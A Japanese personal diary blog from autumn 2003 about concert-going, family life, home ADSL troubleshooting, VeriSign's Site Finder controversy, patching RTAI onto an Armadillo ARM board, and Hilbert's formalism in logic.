ダイエット二曲がメロディーベストスリー

空からマリカが

冷たい水の中をきみとあるいていく

時計館の殺人フィナーレ

月見て跳ねる

ここにいるよアンコール

2003年10月2日(木)

猫森集会初日
ちょっと冷たい視線をあびながら定時の五時半に会社を出て京王線特急で新宿へ。30分位前に到着したので大分余裕があります。で、コンサートなのですが、浩子さん盛り上がっていましたねー。歌と楽器の演奏が完全に調和した素晴らしい演奏で、後半は「すごみ」さえ感じる内容だったのです。細かいことはねたばれになるので後日書きますが、今年もすばらしい猫森になりそうです。
それで家に着いたのは 11時半頃なのですが、コンサートというのは非常にエネルギーを使うらしく、晩御飯を食べてその辺にころがっていたらそのまま沈没してしまったのであります。うーむ、これから毎日体力勝負ですな。
＃感動しすぎてアンケートに書く内容が支離滅裂になって、
＃ほとんど塗り潰してしまったのは絶対に内緒なのです(^^。
猫林集会
今日から待ちに待った猫森集会ですね─。ところで昨日私のホームページを見て下さっている知り合いの女性の方からメールをもらいまして、「明日からの猫林集会楽しんで下さいねー」というありがたきお言葉を頂いたのです。どうもありが...いやいやまてまて、ところで猫林ってなんなんだ～！(^^。という訳でさっそく間違えていますよ～、という返事を書いたのですが、またまた返事を頂きまして、わざとしゃれで間違えたとのこと。うーむ、確かに「森」と「林」を間違えるわけない位分かりそうなものですが、まんまと乗せられてしまったのであります。いずれにしても十分楽しんでくるつもりです。どうもありがとうございます。
ちなみにこの方は谷山浩子さん系ではないと思うのですが、わざわざ「宇宙の子供」を探して何件かのレコード屋さんを回って下さったそうです。残念ながらどこにも置いてなかったようですので、猫森でもう一枚買って送ろうかななどと考えております。
さらに「猫盛集会」という突っ込みがあったりしました。ちょっと恐いですな(^^;。

2003年10月1日(水)

新ひまつぶしグッズ
ということでして、あんまり長時間ザウルスで遊ぶのも問題があるので、新しい通勤ひまつぶしアイテムを模索したのですが、結局面白くもなんともない「ノートとボールペン」ということになりました。
これがほとんど散財しないですむ割には意外とよいのですねー。書く内容としては、
- プログラムの構想メモ
- この日記のねたメモ
- 簡単な数学の定理証明遊び(おい^^)
等なのですが、あっという間に時間が過ぎて、電車を降りるのを忘れてしまいそうになったくらいです。うーむ、少々 PC に依存しすぎていた傾向があるので、「紙と鉛筆」の世界に戻るのもなかなか良いのかもしれません。ちなみに昨日証明遊びした定理は「コーシーの積分公式と留数定理」だったりしました。ザウルスとの切り分けとしましては、電車を待っていたり座れなかった場合は書き物をするのは困難なのでザウルスで遊んで、座れたら書き物モードに入るのであります。ところで紙に書くと意外と記憶できるのに、キーボードから打ち込んだものはほとんど記憶できないのはどうしてなのだろう。
＃最大の問題はノート類をすぐになくしてしまう癖があるので、
＃どうやってなくさないよう管理するかだったりします。

2003年9月30日(火)

はや一年
そういえば前の会社をやめて丁度一年なのです。いやはや最後の一年位はいやな思い出ばかりですな。愚鈍かつ破廉恥な取締役達の命令により違法な過重労働と反社会的なものを作る罪悪感、執拗かつ露骨・陰湿な嫌がらせを受けた肉体的・精神的な打撃から立ち直るのに丁度一年かかりました。いろいろあったのですが今はすこぶる元気になりましたし、前と違ってちゃんとした社会のためになる物を作る会社に勤めることが出来たので、やめたこと自体は大正解だったのであります。
ザウルス自粛
毎日通勤に片道 2時間位かかるので、ひまつぶしグッズは必須なのですが、最近目の疲れがひどいのですねー。良く考えると、帰りの電車の中でのザウルス (+@FreeD)遊びっ放しモードでちっちゃい文字を見続けるのが宜しくないようで、ある程度時間を制限しないとまずそうです。メールを読むのと 10分間程度の WWW ブラウジング程度にした方がよいのでしょうね。てなことで、もうすこし目に優しいお遊びグッズを開拓する必要があります(^^;。
＃朝の電車はほとんど寝ているのでもともと問題がなかったりします。

2003年9月29日(月)

眠い
今日は朝の 5時まで F1 生中継を見てしまってとっても眠いのです。前日も 4 時間くらいしか寝てないし。というわけでおやすみなさ～い。

2003年9月28日(日)

会社レイアウト変更大作戦
今日は中央線の徹夜作業の復旧が大幅に遅れて、朝の南武線(登戸から分倍河原)が異常に混んでいた(分倍河原で京王線と連絡するのです)のですが、なんとか会社に到着しました(^^;。
それで、NTT の工事や業者さまの社内引っ越しと並行して、ネットワークの線の繋ぎかえとか接続テストを行ったのです。わたしはさぼっていてあんまり線の繋ぎかえはやらなかったのですが、さすがにテストとかはやらないと怒られてしまうので、 X24 を持ってあっちこっちのシマを渡り歩いてちょっと疲れてしまいました(^^。それでも何とか各場所の基幹ハブまでの接続は確認して作業完了。これでいよいよ猫森突入モードなのだ～。
＃最初にテストするときうかつにも @FreeD モードでテストして
＃全部 OK と思った直後に気が付いて、テストを全部やり直したのは
＃絶対絶対内緒なのです(^^。
社長のハブハブ大作戦
私の勤めている会社の社長さまのご自宅も ADSL なのですが、やはり最近調子が良くなく、猛烈な一休み現象に悩まされているそうなのです。そこでさっそく ADSL モデムとルーターの間にハブを挟む実験をしてみてはと提案をしたのですが、社長さまも乗り気になりまして、近くの電気屋で(メルコの^^)スイッチングハブを購入して自宅で試してみたそうなのです。それで結果はといいますと、
全然変化がなかったそうな(^^;
いやはや、現場を見もしないで人様のおうちの環境に首をつっこむとろくなことはありませんな。ちなみに社長様のご自宅は光も引ける場所だそうですので、「光にしようかな。だけどスイッチ使い道ないな～」とつぶやいて去って行かれたのであります。むむむむっ、スイッチングハブ代を給料から引かれてしまったらどうしよう(^^。

2003年9月27日(土)

モカちゃん星を見にゆく
昨日はモカが藤沢市公民館主催の「火星探訪会」に行ってきたのです。本当は先月行われる予定のが、天気が悪く昨日に延期になったのですが、幸い昨日はは夕方から天気が良くなり、小学校の元先生が持ってきて下さった口径 20cm 位の望遠鏡で観察を行ったのです。火星やいくつかの恒星(連星！！)がとても綺麗に見えたそうでして、星時計 (下の写真)の工作なども行ったのです。ふむふむ、「下」って書いてある部分を下に向けて、北斗七星とカシオペア座の方向を正しく合わせると、その月の大体の時刻が分かるという仕組みなのですね。

2003年9月26日(金)

VeriSignが乗っ取ったドメインでSMTPサーバを立ち上げ
うーむ、ついにメールの盗聴を始めましたか。狂っているとしか思えませんな。いずれある確率で(実在するホストでも)虚偽のアドレスを返すようにして、「VeriSign 社の認証を受けていないホストは信頼できません」などという商売を始めるのかも...。
お引っ越し
実は土曜日と日曜日に会社のレイアウト変更がありまして、机や物品の移動は日曜日に業者に依頼ということになっているのですが、当然のごとく自分の荷物は箱に詰めて行き先のラベルを貼っておく必要があるのです。で、今ぼちぼちと物品を箱に詰めているのですが、
たった九ヶ月の会社生活でどうしてこんなに散らかっているのか
という状態なのです。いやはや、普段片付けるということを全くしないしわ寄せが一気に押し寄せているのですが、こういう場合でないと絶対に物を整理できない性格なので、片付けるのには丁度良い機会かもしれません(^^;。
で、日曜日はネットワークの移設作業がありまして、一応配線も業者に依頼しているのですが、ネットワークには若干関与している立場なので立ち会いと検証をする必要があったりして、膨大なケーブルとネットワーク機材を見るととっても憂鬱になるのです。
＃日曜日は作業がすむ直前まで会社のネットワークが使えないので、
＃@FreeD カードを絶対に忘れないようにする必要があります。

2003年9月25日(木)

宇宙のエントロピー
昨日無事に(^^;家に着いたら、「日経サイエンス」が届いていたのですが、一番面白かった論文が、「ホログラフィック宇宙～J.D.ベッケンスタイン」というものでして、宇宙全体もしくはその一部分がもちうる最大エントロピー(情報量)の話なのです。ベッケンスタインという人は、ブラックホールの表面積がエントロピーそのものであるという提唱をした人で、こちらの方面の大家なのですが、要するにある(それなりの連続「境界」をもつ)領域がもちうる最大のエントロピーは、同一表面積のブラックホールがもつエントロピーに等しく、驚くべきことに体積は無関係で、さらにはその境界(どうもこれは普通の直感の境界とは違うみたいなのですが)の情報のみで内部も完全に決定されるということらしいのです。そして宇宙の構成物の実体は「素粒子」とか「ひも」とか「場」ではなく、情報そのものであるという理論に結び付くようなのです。
それで、境界が内部をすべて決定するといえば当然「調和関数」や「正則関数」、もっと一般に「複素多様体」を思い浮かべるのが自然だと思うのですが、宇宙が複素多様体という美しい理論で記述可能なのであればとても楽しい気がするのです。
宇宙がものすごく大きい素数 p に対応する標数 p の体上の代数多様体というのも楽しそう(^^。
＃なんかいまいち落ち着いた時間がとれなくて、
＃宇宙の子供は一度しか聴いていなかったりします。

2003年9月24日(水)

一週間前のお茶を飲む^^;
いやはや、一週間前に飲み残したペットボトル茶を会社の机の上に放置してあったのですが、今日新しいお茶と間違えて飲んでしまったのですねー。飲んだのが 13時頃で今は 19時でまだ大丈夫なので、なんとなく潜伏期間は過ぎたと思うのですが、帰りの電車でむむむっ、という状態になったらどうしよう(^^;。
↑無事おうちに到着(^^。
モカちゃん銭湯に行く
別に家のお風呂が壊れたわけではなく、最近クラスで銭湯に行くのがはやっているそうなのです。それで昨日友達四人で行ったそうなのですが、広いお風呂で、しかも電気風呂とか泡風呂とか十三個所も入る場所があったとのことで、とても楽しかったそうです。ちなみに入浴料金は 300円なのですが、そのあとコーヒー牛乳とかき氷を食べたので、実費は 600円位だったそうです。

2003年9月23日(火)

速くなった ADSL
スイッチングハブをモデムとルーターの間に入れてからとっても調子が良く一回もリンクダウンしていない ADSL なのですが、何と最近速度も速くなってきたのです(^^;。
前にもちょっと書いたように、環境を変えてからリンクダウンしないのみならず、実効速度も丁度 2.0Mbps と非常に安定し、ストレスを全く感じなくなっていたのですが、さきほど計測したらなんと 2.2Mbps 出ているのですね～。うーむ、もしかすると Flets ADSL というのはリンクダウンの統計かなんかとっていて、少なくなってくると出世する仕組みなのかも。←こらこら遊んでないで仕事しなさい(-_-)。
続・インターネットホテル
来週はイベントがあるので今週中に仕事を進めておきたい、ということで昨日は 24時頃まで仕事で今日も仕事なのです。それで昨日はまたまたインターネットホテルに泊ったのですが、油断してザウルスといいますか @FreeD のカードを会社に置きっ放しでホテルに行ったのです。ところが昨日泊った部屋にはインターネットの設備がなかったのですねー(^^;。一応 X24 は出してみたのですが、インターネットに繋がらない PC というのも本当にまぬけなもので、全然使うことがなかったのであります。
＃後でパンフレットを見たら、
＃「インターネット使用ご希望のお客様は事前にお伝え下さい」
＃と書いてありました(^^;。

2003年9月22日(月)

極悪 DNS レジストリ
数日前から問題になっていますが、 VeriSign 社が、Site Finder サービスと称して、自分達が .com .net のマスターリストを管理する権限を持っていることを利用して、無効な .com .net ドメインの DNS 照会に、自分の運営するサイトのアドレスを返すようにしているのです。例えば、
$ nslookup nekojanekoja.com
Server: ns01.iij4u.or.jp
Address: 210.130.0.1

Name: nekojanekoja.com
Address: 64.94.110.11

という感じでして、64.94.110.11 が VeriSign 社の極悪ページなのです。ブラウザでいい加減な .com .net ドメインの名前を入れても該当ページが現われます。具体的にメールのフィルター対策等で実害が出ているという話ですが、そのようなことは些細な事柄であり、最も問題なのは、
存在しないものを存在すると虚偽の応答を返し DNS システムのセマンティクスを破壊する
ということなのです。そもそも .com .net ドメインのマスターリストを管理する、ということは社会的に極めて大きい責任を持つわけで、そのような責任をもつべき会社がこのようは愚挙に出たということは、もはや責任能力がないといわざるを得ません。一般にセキュリティーを表面に出す会社は、日米とももともと倫理面で極めて大きい問題を抱えている場合が多いのですが、最近は具体的な犯罪(私は VeriSign 社の行動は犯罪だと考えています) 行為を行うレベルまで落ちてしまっているようです。さすがに一般からの批判も非常に多いようで、この状況が長期間継続することはないと思いますが、ウイルスをばらまくよりもはるかに悪質なインターネット全体の破壊につながる行為なので、絶対に放置べきではありません。

2003年9月21日(日)

メンテナンス情報
本日はアイネットディーのメンテナンスのため、10時から 10時30分頃までの間
http://evariste.que.ne.jp/kagami/
経由のアクセスは出来ません。
http://evariste.dd.que.ne.jp/~kagami/
への直接アクセスは可能です。
↑無事終了したようです。
日記の目次を作成
なんとなくあると便利そうなので、日記の目次を作成しました。CGI ではなくアップロード時に自動生成されます。本当は PHP で書く予定だったのですが、面倒になって awk で書いてしまいました。実装は簡単でして、ここ数ヵ月は項目のフォーマットとして、
<a name="20030921-2"></a>
<li>日記の目次を作成
という感じで記述しているので、それらしきものを拾って来て整形しているだけなのです。ソースはこれです。
ぶたはら
世の中には順調にダイエットしている人もいるようですが、最近調子に乗って食べすぎてまたまた太ってきてしまいました。さすがに十日間で引っ込めるのは難しそうなので、猫森には見苦しい腹を持参するしかなさそうですな(-_-)。

2003年9月20日(土)

宇宙の子供
素晴らしいですね。美しいメロディーでじっくり聴かせてくれる曲が多いのもよいのです。細かい感想は(もしまとまったら)後日。
イベントモード開始
やっと待望の宇宙の子供も聴けたのですが、これから仕事もイベントも大変なスケデュールになりそうです。まず来週は猫森週間に向けて仕事の方の勝負をかけるので火曜日も出社で、9月28日(日)も出社(^^;。
10月4日(土)はモカの運動会なので、3時頃までは撮影係でそれが終わってから猫森に出陣だし、猫森中は仕事も忙しそうなので、もしかして終わってから会社に戻ったりと、本当に過密スケデュールになりそうなのです。むむむむっ、なんか躁状態になってきた(^^。

2003年9月19日(金)

おうちに届いた宇宙の子供
奧さまからメールがありてさきほど届いたそうです。
大成功のハブフィルター
もう一日様子を見ようかな～、と思ったのですが、今日は CD が届きそうなので、先日の ADSL バージョンアップ大作戦の結果報告なのです。結論から言いますと大成功でして、根拠としましては、
- 悩まされていた一休み現象が解消し、体感速度が非常に速くなった。これはご家族さまも同様の評価をして下さっております。
- 会社からの自宅プロキシー経由でのインターネットアクセスも速くなった。
- アクセスログの流れが速くなった気がする(^^。
- 最近は一日数回あって困っていたリンクダウンが 3 日間一度もない。これはお盆の頃以来で、実はお盆の時はちょいと通信ができない時間があったりしたのですが、IP アドレスに変化がなかったので「まあいいか」とリンクダウンはなかったことにしたのです。今回はレンタルサーバーに定期的に ping を行いログをとった結果ですので、間違いなくダウンしなかったと言えます。
というわけで、まだぬか喜びの可能性はあるのですが、やはり ADSL モデム MNIII の LAN 側とメルコのルーター BLR3-TX4L の WAN 側との相性が悪いのか、偶然私が買った個体が悪かったのか、この部分に問題があり、スイッチングハブを間に入れることで非常に調子が良くなったと思えるのです。良く考えてみるとメルコのルーターは 5,000円程度の価格なのに LAN 側 4ポートのスイッチングハブがついていたりして、信じられない安さなので、どうしてもノイズ対策等が甘くなっているのかもしれません (根拠はありません)。ちなみに今回は、間にはさんだスイッチングハブにはもちろんメルコは使用せず、 ELECOM LS-PSW05N/AT という製品を使用したのです。いやはや、不調の原因はてっきりマンションでおおはやりの YahooBB のせいかと思っていましたが、問題点は ADSL 側でなく自宅の内部環境だったのですね～。
＃ちなみにリンク速度は上り 800Kbps、下り 2.4Mbps 程度でして、
＃天井につるした効果はあんまりないと思います(^^;。

2003年9月18日(木)

まだまだ発送されない宇宙の子供
ほんとに遅いですな。楽しみは後にとっとくということかな(涙)。猫森前に聴き込んでおきたいので 25日頃までに届けばよいのですが、一応メールで催促しときました。
それはそうと、池袋で 昨日だけが抽選と勘違いして、奧さまに行ってもらおうとお願いしてあったのですが、良く読むと期間中全部抽選のようでして、それではいくらなんでもサイン入り写真が当たるわけがないのでお願いを取り下げたのは内緒なのです(^^;。
ちなみに早く聴きたくて近くのレコード屋さんに買いに行きたかったのですが、奧さまに、
抽選でも欲しいものが当たる可能性があるのならば２枚買ってもよいし、交通費と時間をかけて私が買ってきても良い。だけど単に早く聴きたいというだけの理由でもう一枚買うのはだめ。
と言われまして、さすがに私と違いしっかりとした考えを持っているのです。
↑やっと入荷したようです。明日か最悪明後日届くでしょう。

2003年9月17日(水)

SD カードリーダー
デジカメ(LUMIX DMC-FZ1)で撮った写真を X24 に転送するのに、いちいちカメラに USB ケーブルを繋いだり抜いたりするのがとっても面倒なのです。そこで注文したのが、こちらで FreeBSD 動作確認済のアイ・オー・データの USB-3ARW でして、諸経費込みで 2,000円位なり。それはそうと、おととい注文したときは生きていたのに、昨日で生産中止だったのね(^^;。
それで熱も下がってきたので腰がいたいのを我慢して、さっそく X24 に繋いでマウントしようとしたのですが、
全くマウント出来ません(-_-)
いやいや確かに動作確認と書いてあるのになぜなのだろう。ちなみにこのカードリーダーはマルチカード対応で SD カードは下の方のスロットに挿すのです。そこで /dev/da0*(通常は /dev/da0s1a)とか /dev/da1* とか全部試してみたけどやっぱりだめなのです。余談ですが私はブロックデバイスのスライス命名規約が全然分からず、うまくゆくまで全部試すのが常套手段なのです(^^。
これは大失敗の買い物をしたかと思ってマニュアルを見ると、上のスロット優先と下のスロット優先のスイッチがあるそうで、マニュアルを見なくても右の写真によれば明白なのですが、これに気が付かなかったのですねー(^^。という訳で、スイッチを 2にしたところ簡単にマウント出来まして、なんとか大失敗買い物の悲劇は避けられたのです。肝心の使い勝手ですが、カメラから SD を抜いてカードリーダーに挿せば良いので、USB 直結よりは大分面倒さは減少したと思うのであります。
＃個人的には無線で飛んで欲しいのですが、しばらくは無理でしょうな。
腰痛
風邪で熱が出てしまって、それは我慢できるのですが、腰が痛くて歩けない(^^。今日はお休みです。

2003年9月16日(火)

阪神優勝
昨日ですね。えんらく遅くなりましたがおめでとうございます。
発送されない宇宙の子供
本日フライングで発売されたそうですね。去年の「翼」は同じくフライングで届いたので、山野楽器にインターネット注文したのですがまだ出荷されていないようです。失敗だったかも。

2003年9月15日(月)

ADSL バージョンアップ大作戦^^;
下の記事のようにわざわざバージョンダウンした ADSL ですが、なんとこれでも朝6時頃リンクダウン。しかも誰も牛の電源など入れていないとのこと。それにやっぱり遅くて不愉快(^^;。
というわけで、速度を戻してまたまた実験してみると ADSL モデムの LAN 側の線を抜き差しするだけでリンクダウンが発生することが分かりまして、もしかするとメルコのルーターの Ethernet ポートと ADSL モデムの相性が良くないという問題もあるのかと考えまして、スイッチングハブを買ってきて ADSL モデムの LAN 側と、メルコのルーターの WAN 側をハブ経由に(一段間接)にしてみて、これでしばらく様子見なのです。ちなみに、ルータの LAN 側に繋ぐ線と WAN 側に繋ぐ線全部をスイッチングハブに挿せば、いちいち線を繋ぎ替えないでも直接 ADSL モデムのメンテナンスが出来るのでは、というもくろみもあったのですが、これはうまくゆかないようです。てゆーかメンテナンス中はインターネット側が全然だめになるし、インターネットの通信中はメンテナンスがだめになるし、スイッチングではなくばかハブだとうまく行くと思うのですが、スイッチの場合その時の運でどちらの方向にパケットが行くか決まるようです。
ADSL バージョンダウン大作戦^^;
お盆中はリンクダウンの回数が激減して、やっと調子が良くなったと思った ADSL なのですが、その後は元にもどってしまって一日平均 5～6回程度のリンクダウンが発生しているのです。どうせお盆が終わってマンションの YahooBB な人たちが復活してノイズを出しているのであろうと思っていたのですが、ご家族さまの証言によると、
牛(Windows2000)を起動してインターネットしようとするとうまくいかなくて、 10分位またされることが多い(^^
とのことなのです。むむむむっ、もしかして犯人は Windows マシンの出すノイズなのかな、と思いまして色々実験したところ、電源を入れた瞬間やネットワークケーブルの抜き差しでリンクダウンする場合が多いのです。どうもネットワークカードからのノイズがルーター越えで ADSL モデムに影響を与えているようなので、なにか対策を考えなくてはいけないようです。対策としては、
1. ルーターとモデムの場所が近いので離してみる。
2. 牛からルーターへ現在は Ethernt 直結なのだが、間にハブを入れてみる。
3. 牛のネットワークカードを交換する。
4. 牛を無線 LAN 化する。
5. ルーターをもっと高くてノイズ耐性が高そうなのに交換する。
などが考えられるのですが、1,2 の案以外はたくさんお金がかかりますな。確実に効果がありそうなのは無線 LAN 化なのですが、これが一番高そうだし本当に困ったものなのです。とりあえずモデムをルーターから離して様子見です。そこでお得意のぶらさげ作戦。なぜか MNIII にはひもをひっかける爪がついていたりします。

ってなことやっていたらまたまたリンクダウンしたので、ついにモデムの設定をG.lite 固定(出来るのです)に変更しました。要するに 1.5Mbps 時代のプロトコルです。どうせ実効で 2/3 程度の速度に変化するだけだし、これで安定するのなら良しとしましょう。ちなみにリンク速度は G.lite としてはフルスピードが出ているようです。肝心の上りも 512Kbps にバージョンダウンですが、こちらも今まで 700Kbps 程度で一休み現象も多かったので大勢に影響はないと思います。
ちなみに MNIII の設定ですが、
- 自動認識
- G.dmt 近距離
- G.dmt 中距離
- G.dmt 遠距離
- G.lite
が選択可能でして、おうちの場合は自動認識で G.dmt 中距離モードになってリンクダウン頻発で下りのリンク速度が 2.5Mbps 程度になるようです。強制的に近距離にするとリンクしないし、遠距離の場合は下りのリンク速度が 1.0Mbps で上りが 300Kbps 程度でしてこれでは遅すぎます。というわけで G.lite が丁度よさそうな案配なのであります。

2003年9月14日(日)

ヒルベルトの形式主義
とある掲示板で、とっても長生きとつっこみが入ったヒルベルト先生ですが、実際に 1862年生まれ 1943年死去ということで割と長生きだったのは事実なのであります。
それでいよいよ形式主義の話なのですが、ヒルベルトの目指した数学の体系のとしては次の要件を満たすことが絶対必要だったのです。
1. 既存の数学を一切犠牲にしない。特に数論(実数論も)と集合論は必ず包括する。
2. 矛盾しないことを証明できる。
3. 完全性を証明できる。
ヒルベルトのブラウエルとの対立に関しては、ブラウエルの提唱する数学の体系が 1 の条件を満たさないことが最大の要因であり、これに関してヒルベルトに妥協の余地は全くなかったのであります。ヒルベルトの形式主義に関する話は、記号論理や推論に関するそれなりの知識が要求されるのと、数学と「数学の正当性を研究する」超数学の関連もありましてなかなか難しいのですが、一つずつ順を追って記述しようと思います。
[論理の形式化]
記号論理は「ならば」「または」「かつ」などを形式的・体系的に扱う体系で、一番の基礎として命題論理という体系があります。ただし一般に命題論理だけでは深い内容が表現出来ず、通常の数学で使用される論理は、「第一階述語論理」と言いまして、命題論理に対象式と存在記号、全称記号(ある、すべて)を追加した体系で、対象の存在領域のモデルとの関連が生じて、なかなな難しくなってくるとともに、深い内容を表現できるのです。第二階述語論理という第一階述語論理の論理式を対象式とみなした体系も存在して、非常に面白い理論なのだそうですが、全く知識がないのでここでは論じることができません。表面的な見方なのですが、第二階以降の述語論理は集合の巾を利用して外延的に表現できるので、一般的に広まらないのかなとは思っています(全くあてになりません)。前置きが長くなりましたが、ヒルベルトは手始めに論理の形式化を利用します。
論理の形式化をおおざっぱに説明しようといたしますと、まず記号の導入が必要でして、ここだけの記号として、次のものを使用します。
OR
NOT
E(本当は必要ない)
e
A,B,C,... 論理式
x,y,z,... 変数
a,b,c,... 対象式
f,g,h,... 理論ごとに決まる関係記号
理論ごとに決まる定数
(...) ... 括弧。適時使用
OR は「または」を非公式には表しますが、公式には公理で規定される「単なる記号」であり「意味」はないのです。NOT に関しても同様です。E は(またまた非公式には)存在を表す記号でして、本当はひっくり返して使用するのですが、表示の関係でひっくり返さないで使用します。e はヒルベルトの Epsilon 記号と言いまして、存在に関するヒルベルトの哲学を表現しているのですが、これも本来公理による関係で規定される記号です。
それでこれではあんまり不便なので、省略記号を導入します。
[(NOT A) OR (NOT B)] を省略して [A AND B] と記述する。
[(NOT A) OR B] を省略して [A -> B] と記述する。
[NOT E(x)(NOT P(x))] を省略して [A(x)(P(x))] と記述する。

等々 AND と ->(ならば) と A(すべての) が「省略記号」として導入されます。これらは本来上の左辺で表現可能なので本来不必要な記号です。ちなみに、
[A ならば B] を [(NOT A) OR B] で表現する
というのは、人によっては評判が悪いようですね(^^。感覚的に分かりにくいのでしょうか。いやはや、それにしても長くなってきましたね。だけどここで終わっては中途半端なのでもう一頑張り(^^。まずは「対象式」の作り方なのですが、
定数は対象式
変数は対象式
x を変数として P(x) が論理式のとき [e(x)P(x)] は対象式
もひとつ論理式の作り方なのですが、
a,b,c,... が対象式で f が関係記号のとき f(a,b,c...) は論理式
A,B が論理式のとき (A OR B) も論理式
A が論理式のとき (NOT A) も論理式
なんとなくもれがあるような気がするのですが、適時修正します。それでこれらの記号等に「公理」と「推論法則」という概念を与える必要があるのですが、本当に長くなってきたのと、ちょっと文献を見ないと分からなくなってきたので、続きはまた近いうちに。

2003年9月13日(土)

RTAI on Armadillo

という訳で手元に Armadillo という組み込み Arm-Linux ボードがあったので、そこのサイトから Armadillo 用の 2.24.21-1 カーネルソースを持ってきて、 RTAI のパッチ (rtai-24.1.12-pre1.tgz)をあてたのです。単にパッチをあてても簡単にはコンパイルが通らず下記のような手順が必要なようです。もちろん arm-linux-gcc の環境は事前に準備しておく必要があります。ちなみにコンパイルしたホストマシンは FreeBSD だったりしました。

------------------------------------------------------------------------------
これらを展開します。

Linux-2.4.21-rmk1-armadillo-1.tgz  [http://armadillo.atmark-techno.com/]
rtai-24.1.12-pre1.tgz              [http://www.rtai.org/]

まずは Linux 側にパッチをあててコンパイル。

$ cd linux-2.4.21-rmk1-armadillo-1
$ patch -p1 <../rtai-24.1.12-pre1/patches/patch-2.4.21-rthal5g
$ patch -p1 <../rtai-24.1.12-pre1/arch/arm/patches/linux-2.4.21-rmk1-rthal-v1.diff

Makefile の EXTRAVERSION =-rmk1-rthal とする。
(これを忘れると後の rtai 側のコンパイルで困る)

$ make menuconfig   # 単に抜ける

./.config を開いて

    CONFIG_RTHAL=y

./include/linux/autoconf.h を開いて

  - #undef  CONFIG_RTHAL
  + #define CONFIG_RTHAL 1

$ make dep
$ make r

./kernel/sched.c

sched.c:555: structure has no member named `lxrt_global_cli'
sched.c:566: structure has no member named `lxrt_global_cli'

というエラーが出る lxrt_global_cli は i386 専用と思われるので言及を全
部削除。

    static inline void pend_mm(struct mm_struct *mm, int cpu)
    {
    #if 0  /* i386 only */
        if (rthal.lxrt_global_cli) {
            struct smm_t *p = smm + cpu;
            p->mm[p->in] = mm;
            incpnd(p->in);
        } else {
    #endif
            mmdrop(mm);
    #if 0
        }
    #endif
    }

    static inline void drop_mm(void)
    {
    #if 0  /* i386 only */
        if (rthal.lxrt_global_cli) {
            struct smm_t *p = smm + smp_processor_id();
            while (p->out != p->in) {
                mmdrop(p->mm[p->out]);
                incpnd(p->out);
            }
        }
    #endif
    }

./include/asm-arm/proc-armv/system.h の

  #define local_irq_set(x) do {c = rthal.getflags(); rthal.enint(); } while (0)

が間違えているので

  #define local_irq_set(x) do {x = rthal.getflags(); rthal.enint(); } while (0)

./arch/arm/mach-clps711x/time.c

  SYSCON_TC1M ---> SYSCON1_TC1M

完成したら Image.gz を使用する。こんどは RTAI 側のコンパイル。

$ cd ./rtai-24.1.12-pre1

Makefile に次の 3行を追加する

  CONFIG_ARM=1
  ARCH=arm
  MACHINE=clps711x
  CC=arm-linux-gcc

$ make menuconfig
 
 Feature ---> Enable floating point support  を OFF にする

$ make dep && make
------------------------------------------------------------------------------

それにしても綴り間違えでコンパイルが通らないって、もしかしてこのパッチを利用したのは私が世界で初めてなのね(^^;。
それでサンプルのリアルタイムプロセスを動作させてみたのですが、確かにちゃんと動作するようでして、リアルタイムの反応精度や安定性は分からないのですが、自分で理解して保守可能な状態になれば十分利用可能なものであると思います。

2003年9月12日(金)

ルーター不調
今日は 20時頃会社を出たのですが、その直後にザウルスからおうちにアクセス出来なくなったのです。むむむむっ(-_-)またリンクダウンかな～、と思ったのですがいくら待っても回復しないのですねー。もしかして R30 様がお亡くなりになったのかとさえ心配しておうちについたのですが、特に問題はなさそうなのです。ただしルーターがインターネットに接続不能のメッセージを出し続けているので、回線障害かなとも思ったのですが、念のためにルーターの電源を一度落してまた入れたらなんと一発で復活したのです。ついにおうちのルーター初のハングアップなのです。もしかすると 2週間前に最新のファームに入れ替えたのが悪いのかもしれないので、古いのにバージョンダウンです。
やれやれ
実は開発中の新しいボードの試作品が完成したので、この 2ヶ月くらいで作っておいたハードを制御する部分のファームフエア─とソフトウエア─(デバイスドライバー等)が動作するかの検証でここ二日間位泊りだった(タイムリミットは 3日)のですが、幸いボードの出来は非常に良好で、ほとんど苦労しないで基本部分は動作してしました。この 2ヶ月間は実物のない開発でして、つまんないしむなしいくて、相当うつな日々を送っていたのでが、現金なもので、実際のボードで正常そうな動作が始まると急に躁状態になりまして、やっぱり「実物で動かさないとつまんない」ということが実証されたのであります。ちなみに昔勤めていたとある会社では、とっても無責任で頭の悪い取締役(会社か)が粗悪なボードを「火を噴かなかった」というレベルでソフト屋さんのところに持って来たので、そこそこ動くまで一ヶ月くらいかかったものです。ちゃんとした会社(人)が作った基板というのは、案外早く動作するものなのですね～(^^。

2003年9月11日(木)

インターネットホテル
昨日泊ったホテルはインターネットが使えるとのことだったのですが、部屋に入ってみるとたしかにルーターらしき機器からイーサネットケーブルが出ていたのです。横に置いてある説明書によると DHCP で繋がるとのことなので、さっそく X24 を繋いで dhclient を実行すると簡単にプライベートアドレス 192.168.0.3 がアサインされたのです。ついでに /etc/resolv.conf が置き換わって DNS サーバーは 192.168.0.1 とのことでした。そんなにたくさんの人が使っているとは思えないのですが、速度は激とろで 300Kbps 程度しか出なかったのですが、@FreeD よりははるかに高速でなかなか便利だったのです。シングルが満員だったので、かなり広いツインルームに一人で泊ったのですが、インターネット付で 7500円というのはなかなか安いですな。
ところで dhclient が勝手に resolv.conf が書き変るのはあんまり好きでないのですが、書き換えないオプションというのはあるのかな。

2003年9月10日(水)

お泊り
今日と明日ははやることが多く、会社の近くのホテルに泊りだったりします。
月と火星
昨日は月と火星の見掛け上の位置が非常に近づいたということで、例のごとく写真に挑戦したのですが、月が丁度良い案配の明るさにすると火星は全く見えなくなるし、火星を丁度良い案配にすると月が露出オーバーということでして、なかなか調整が難しかったのです。辛うじて撮れた写真が下の写真。ちっちゃいのですと火星がほとんど見えないのですが、大きいのだとなんとか見えます。撮った時間が遅かったので、ずいぶん離れてしまいましたが、もっと近い状態ですとますます露出の調整が苦しかったと思います。

2003年9月9日(火)

ヒルベルトの形式主義・幾何学基礎論
ヒルベルト(Hilbert.D)は 19世紀後半から~~今世紀~~20世紀のの始めにかけて活躍した「最後の」万能数学者で、万能なだけあって業績は非常に多岐に渡るのですが、基礎論に関しても極めて重要な仕事を残しているのです。そこで今日は形式主義に関して論ずる前提として、近代的な公理主義の手本となったユークリッド幾何の再構成(幾何学基礎論)に関して記述します。
中学校等で学習するように、ユークリッドの幾何学はいわゆる「自明の真理」である「公理」から始まり、その公理以外の前提は絶対に使用しないですべての定理が導かれるという推論方法を用い、近代に至るまでの非常に長期の間、論理的な思考や証明方法の手本とされたのであります。
ところが、19世紀になって 2000年の歴史を持つユークリッド幾何学の問題点もいくつか明らかになってきたのです。
